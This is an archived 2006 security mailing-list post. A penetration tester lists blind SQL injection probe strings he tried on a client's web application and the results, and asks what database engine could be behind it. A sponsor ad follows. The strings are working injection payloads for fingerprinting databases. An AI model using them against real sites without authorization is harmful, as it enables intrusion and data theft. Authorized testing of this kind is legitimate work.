Which SQL is that? SQL Injection question

From: Tonu Samuel (tonu@jes.ee)
Date: Mon Jul 17 2006 - 03:01:50 EDT


Hi!

I am doing penetration test for client and have weird situation. Seems like I
have SQL injection hole and I can command SQL server in "blind" injection. In
some reason common technique

' or 'a'='a

does not give right results but

' and 'a'='a

does. Some examples:

'+and'a'='a
Normal screen

'+and'a'='b
Empty frame (means no result from SQL)

'+and+exists+(select+1+from+sys.dual)+and'a'='a
Generic error message. No reason explanation. Means that not Oracle. I also
tried many other places like INFORMATION_SCHEMA to look up but no luck.

'+and'a'||'a'='aa
Also error. Again means not Oracle

'+and'a'%2b'a'='aa
This is weird. No error but no result either. Empty screen. Not MS SQL and
many others. Why?

'+and'0'%2b'0'='0
SQL gets proper result.

'+and+concat('a','a')='aa
Also works and provides result

'+and+concat('a','a')='a
emtpy screen

'+and/*'*/+bar=bar+and+'a'='a
Error message! Very weird because in my best knowledge every SQL knows about
comments.

'+and/**/+bar=bar+and+'a'='a
Works.

'+and/*!*/+bar=bar+and+'a'='a
Error again.

Any clue what is that SQL? As you see I can play with some syntaxes which
belong to some language but it behaves wrong for common SQL engines. I know
from headers that they use some XSLT middleware, Apache and ASP.NET. Probably
few layers.

   Tõnu

------------------------------------------------------------------------------
This List Sponsored by: Cenzic

Concerned about Web Application Security?
Why not go with the #1 solution - Cenzic, the only one to win the Analyst's
Choice Award from eWeek. As attacks through web applications continue to rise,
you need to proactively protect your applications from hackers. Cenzic has the
most comprehensive solutions to meet your application security penetration
testing and vulnerability management needs. You have an option to go with a
managed service (Cenzic ClickToSecure) or an enterprise software
(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can
help you: http://www.cenzic.com/news_events/wpappsec.php
And, now for a limited time we can do a FREE audit for you to confirm your
results from other product. Contact us at request@cenzic.com for details.
------------------------------------------------------------------------------



This archive was generated by hypermail 2.1.7 : Sat Apr 12 2008 - 10:56:18 EDT